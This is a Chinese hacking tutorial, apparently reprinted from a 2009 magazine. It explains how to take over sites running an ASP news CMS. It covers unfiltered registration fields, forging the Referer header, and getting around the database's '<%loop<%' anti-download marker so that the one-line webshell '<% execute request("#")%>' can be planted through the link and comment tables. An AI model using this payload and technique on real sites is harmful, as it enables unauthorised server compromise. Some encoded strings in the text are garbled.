来源:自学PHP网 时间:2015-04-17 12:00 作者: 阅读:次
[导读] 题目:让LOOP防下载形同虚设直接拿shell--分析沸腾新闻多媒体展望系统V1.2 0Day作者:莫ㄨ问[B.H.S.T] 李宓 [L4nk0r]来源:L4nk0r#39;S Blog此文章已发表在《黑客手册》2009年第9期杂志上,后经作...
题目:让LOOP防下载形同虚设直接拿shell--分析沸腾新闻多媒体展望系统V1.2 0Day L4nk0r:为方便大家阅读,最后提供文件打包下载 一.注册页面跨站甚至插马 sex=request.form("sex") // 这里没有任何过滤,可以通过本地提交表达 很明显上面这些参数中除了一个depid过滤了其他都直接获取了并且后面直接更新到数据库了.我们知道Javascirpt可以本地提交绕过,所以跨站也就没有问题了.但是在测试时候发现不行,好在仔细查看包含的文件,我明白程序员为什么这么”自信”了.看到ChkURL.asp,代码如下: server_v1=Cstr(Request.ServerVariables("HTTP_REFERER")) 利用REFERER禁止本地提交.还是老思路,构造Referer即可.这里我通过WinSock Expert抓包然后NC来修改数据提交就可以了.这里不做讲解,当然这个漏洞配合后面的使用也是可以的. NotDownload表,其内容显示为:”长二进制数据”,就是这个表导致我们访问数据库的时候出现如图2提示: 的原因Loop是asp中的循环语句,其实在数据库中那一串长二进制数据就是<%loop<%的十六进制形式3C25206C6F6F70203C25.我们可以通过UltraEdit十六进制形式打开它,然后搜索<%就会发现如图3: 知道asp语法的人看到这里应该都明白为什么会有如图2提示了把.所以当你插入一句话的时候就会脚本无法闭合的问题.另外<%loop<% 这种是无法闭合的.下面是关键思路:既然无法闭合,我们是否能够注释掉?想到这里,我们就会想到单引号,没错就是它-ASP的注释符,但是前提是,要能够在他之前插入一个<%’;x (即, <%&amp;#39;x <%loop<% 引用 通过穷举法,多次测试发现,前置闭合符可以在Link表中插入,而后置闭合符可以在Review表中插入,其他表有兴趣的可以自行测试下.默认情况下,系统的友情链接和回复(游客都可以)是开启的.对于友情链接关闭申请就只能通过其他表了,这里只是举个例子,可以按思路举一反三.ok,不废话直接按如图4填写(这里也是Javascript判断后直接插入数据库) 网站名称” ┼攠數畣整爠煥敵瑳∨∣┩愾┼砧 &lt;% execute request(&quot;#&quot;)%&gt;a&lt;%&#039;x 这里要注意的是在转换过程中不能出现?,这就是我刚才为什么加一个x的原因了.然后直接提交,不管管理员是否审核不影响.再次UltraEdit十六进制形式打开搜索<%发现如图6: 发现第一搜索到的是如图6,也就是说已经成功的插入前置闭合符.现在插入随便首页点一个文章,点击下面的”相关评论”选择游客,然后在内容那输入如图7: 内容为: “┠ 砾 “同理也是经过a2u4hack.exe工具编码的,它的原型是: %>x 这样以后提交就可以提交到数据库并且完美的注释掉 <%loop<%. 所有的工作完成后我们看下结果.如图8: 成功插入一句话木马,也成功链接了直接拿到WebShell.另外.当然程序还存在一些不足,有兴趣的朋友可以自己挖掘.对于这个思路,当如果你并不能如此的完美的插入木马,我们是否也想过通过此方法来过滤掉一些上传后缀限制的数据然后通过上传来拿webshell呢?好了,思路就这样,大家灵活应用.官方演示网站关闭了友情链接我们就不做测试了,必竟只是提供大家一种思路而已. |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com